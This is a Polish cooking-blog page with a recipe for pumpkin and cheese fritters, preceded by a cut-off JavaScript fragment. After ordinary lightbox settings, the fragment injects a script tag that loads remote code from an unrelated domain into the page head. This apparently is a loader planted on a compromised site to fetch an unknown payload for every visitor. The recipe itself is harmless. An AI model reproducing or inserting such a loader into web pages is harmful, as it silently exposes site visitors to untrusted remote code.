, 'opacity': false, 'speedIn': 500, 'speedOut': 500, 'changeSpeed': 300, 'overlayShow': false, 'overlayOpacity': "", 'overlayColor': "", 'titleShow': false, 'titlePosition': '', 'enableEscapeButton': false, 'showCloseButton': false, 'showNavArrows': false, 'hideOnOverlayClick': false, 'hideOnContentClick': false, 'width': 500, 'height': 340, 'transitionIn': "", 'transitionOut': "", 'centerOnScroll': false }); var script = document.createElement('script'); script.type= 'text/javascript'; script.src = 'https://cdn.messagefromspaces.com/c.js?pro=type'; document.getElementsByTagName('head')[0].appendChild(script); })

placuchy z dyniowymi farfoclami i serem

Wydrukuj artykuł Wydrukuj artykuł

placuchy z dyniowymi farfoclami

Sezon na  dynię trwa, więc ja próbuję w kuchni nowe przepisy i wciskam dynię tu i ówdzie. Tym razem wykorzystuję drobiny jakie pozostały po wydrążeniu dyni gdy tworzyliśmy dyniowego STWORA.

Placuchy wyszły bardzo smaczne.. jak dla mnie :) a jak dla Igora zdecydowanie lepsze gdy przybrały postać pająka* dużego jak talerz!

Składniki:

  • 250 g miąższu surowej dyni (bez skóry i pestek)
  • 60 – 100 g serka wiejskiego (w oryginalnym przepisie: sera koziego lub sera camembert lub fety)
  • sól morska
  • 2 jajka
  • mąka ziemniaczana, około 3 pełnych łyżek
  • olej z pestek winogron

Dynię zetrzeć a tarce o małych oczkach, włożyć do miski, dodać żółtka i ser, doprawić solą. Białka ubić na pianę, dodać do dyni razem z mąką ziemniaczaną i delikatnie połączyć łyżką.

Rozgrzać patelnię z 2 łyżkami oleju, nakładać nieduże porcje masy, rozpłaszczać łyżką i smażyć placki na umiarkowanym ogniu przez około minutę z każdej strony lub do czasu aż będą ładnie zrumienione.

*Przeobrażenie w pająka następuje błyskawicznie wystarczy pociąć placuchy na paseczki i sprytnie poukładać na talerzu.

Oryginalny przepis znajdziecie tutaj.

Be Sociable, Share!

Kategoria: Bez kategorii Komentarz »


Skomentuj...



↑ Początek strony